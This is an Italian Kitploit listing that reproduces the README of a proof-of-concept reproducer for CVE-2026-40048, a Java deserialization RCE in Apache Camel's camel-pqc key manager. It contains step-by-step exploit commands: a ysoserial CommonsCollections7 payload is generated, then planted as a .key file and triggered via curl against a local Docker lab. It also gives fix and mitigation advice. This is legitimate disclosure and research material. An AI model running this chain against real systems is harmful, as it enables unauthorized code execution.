Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2026-40048 — Reproducer per CVE-2026-40048: deserializzazione non sicura del FileBasedKeyLifecycleManager di Apache Camel camel-pqc (RCE) | Kitploit
Strumenti/GitHubGitHub/oscerd/cve-2026-40048
Analisi StaticaAnalisi delle VulnerabilitàAnalisi del CodiceExploitSfruttamento di Applicazioni WebPenetration TestingApprendimento e FormazioneBinary ExploitationLab e Pratica
GitHuboscerd/cve-2026-40048

CVE-2026-40048

Reproducer per CVE-2026-40048: deserializzazione non sicura del FileBasedKeyLifecycleManager di Apache Camel camel-pqc (RCE)

1 mese faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi
Vedi Repository

Riproduttore della deserializzazione non sicura in camel-pqc FileBasedKeyLifecycleManager (CVE-2026-40048)

Questo progetto dimostra una vulnerabilità di deserializzazione Java nel componente camel-pqc di Apache Camel, tracciata come CVE-2026-40048. FileBasedKeyLifecycleManager legge i file <keyId>.key dalla directory delle chiavi configurata con un ObjectInputStream grezzo e senza ObjectInputFilter; un attaccante che possa scrivere in quella directory può quindi ottenere l'esecuzione remota di codice.

Avviso di sicurezza: https://camel.apache.org/security/CVE-2026-40048.html

Riepilogo della vulnerabilità

Dettagli tecnici

FileBasedKeyLifecycleManager salva le chiavi post-quantum come oggetti Java serializzati in <keyDir>/<keyId>.key. Il caricamento di una chiave deserializza quel file con un ObjectInputStream grezzo e il cast a KeyPair viene eseguito solo dopo che readObject() restituisce il risultato:

root@kitploit:~
// FileBasedKeyLifecycleManager.getKey(keyId) - affected version
Path keyFile = getKeyFile(keyId);   // keyDirectory.resolve(keyId + ".key")
try (ObjectInputStream ois = new ObjectInputStream(new BufferedInputStream(Files.newInputStream(keyFile)))) {
    KeyPair keyPair = (KeyPair) ois.readObject();   // NO ObjectInputFilter — gadget runs before the cast
    ...
}

Un attaccante che possa scrivere nella directory delle chiavi — tramite path traversal, permessi di volume configurati in modo errato, una pipeline di provisioning delle chiavi compromessa o un attacco tramite symlink — può inserire un oggetto serializzato appositamente costruito che viene eseguito durante un normale caricamento del ciclo di vita delle chiavi.

Prerequisiti

  • Java 17+ e Maven 3.8+ (per compilare il jar)
  • Docker (esegue il riproduttore)
  • ysoserial (per la generazione del payload)

Passaggi per la riproduzione

Passaggio 1: Compilare il jar e avviare il container

root@kitploit:~
mvn clean package -DskipTests
docker compose up -d --build

Passaggio 2: Generare un payload malevolo

root@kitploit:~
wget https://github.com/frohoff/ysoserial/releases/download/v0.0.6/ysoserial-all.jar

# Benign proof: create /tmp/pwned. On JDK 21 add --add-opens to generate CC gadgets:
java --add-opens java.base/java.util=ALL-UNNAMED --add-opens java.base/java.lang=ALL-UNNAMED \
     --add-opens java.base/java.lang.reflect=ALL-UNNAMED \
     -jar ysoserial-all.jar CommonsCollections7 "touch /tmp/pwned" | base64 -w0 > payload.b64

Passaggio 3: Posizionare il payload come <keyId>.key

root@kitploit:~
curl -X POST http://localhost:8080/exploit/inject \
  -H "Content-Type: text/plain" --data-binary @payload.b64
# writes the bytes to /tmp/pqc-keys/mykey.key inside the container

Passaggio 4: Innescare il caricamento del ciclo di vita delle chiavi (RCE)

root@kitploit:~
curl http://localhost:8080/exploit/trigger
# getKey("mykey") -> ObjectInputStream.readObject() -> gadget executes
# -> ">>> RCE proof — /tmp/pwned exists: true"

Passaggio 5: Verificare

root@kitploit:~
docker exec cve-2026-40048 ls -la /tmp/pwned

Pulizia

root@kitploit:~
docker compose down

Vettori di attacco

getKey() viene chiamata durante le normali operazioni del ciclo di vita delle chiavi (recupero delle chiavi di firma/verifica, controlli di rotazione, ecc.), quindi qualsiasi caricamento di un <keyId>.key inserito dall'attaccante attiva la deserializzazione.

Condizioni di sfruttamento

  1. Accesso in scrittura alla directory delle chiavi utilizzata da FileBasedKeyLifecycleManager (volume condiviso/configurato in modo errato, path traversal, provisioning compromesso, symlink).
  2. Una libreria di gadget nel classpath (ad es. commons-collections:3.2.1).

CVE successive correlate

Il pattern ObjectInputStream nel key store è stato affrontato più in generale in seguito:

  • CVE-2026-46590 — i gestori gemelli di HashiCorp Vault e AWS Secrets Manager (follow-on dovuto a una correzione incompleta).
  • CVE-2026-43867 — una segnalazione indipendente dello stesso percorso AWS Secrets Manager.

Correzione consigliata

Aggiornare alla 4.18.2 / 4.20.0. La correzione sostituisce l'archiviazione basata su ObjectInputStream con la codifica JSON Base64 standard PKCS#8 (chiave privata) / X.509 SubjectPublicKeyInfo (chiave pubblica).

Mitigazione

In attesa dell'aggiornamento:

  1. Limitare l'accesso in scrittura alla directory delle chiavi alla sola identità dell'applicazione.
  2. Rimuovere le librerie di gadget (aggiornare/rimuovere commons-collections 3.x).
  3. Conservare il materiale delle chiavi su un volume su cui nessun soggetto meno attendibile possa scrivere.

File

root@kitploit:~
CVE-2026-40048/
├── pom.xml
├── Dockerfile
├── docker-compose.yml
├── README.md
└── src/main/
    ├── java/com/example/
    │   ├── Application.java
    │   └── ExploitController.java   # /inject (plant .key), /trigger (getKey -> RCE), /cleanup
    └── resources/
        └── application.properties

Esclusione di responsabilità

Questo riproduttore è fornito solo per ricerca sulla sicurezza e test autorizzati, per una vulnerabilità divulgata pubblicamente e già corretta. Non utilizzarlo contro sistemi senza un'autorizzazione esplicita.

Scarica lo strumento
ProprietàValore
Componentecamel-pqc
Classe interessataorg.apache.camel.component.pqc.lifecycle.FileBasedKeyLifecycleManager (getKey)
CWECWE-502: Deserializzazione di dati non attendibili
ImpattoEsecuzione remota di codice (RCE)
Versioni interessateDalla 4.18.0 fino alla 4.18.2 (esclusa) e dalla 4.19.0 fino alla 4.20.0 (esclusa)
Versioni corrette4.18.2, 4.20.0
JIRACAMEL-23200
Segnalato daAndrea Cosentino (ASF), Venkatraman Kumar (Securin)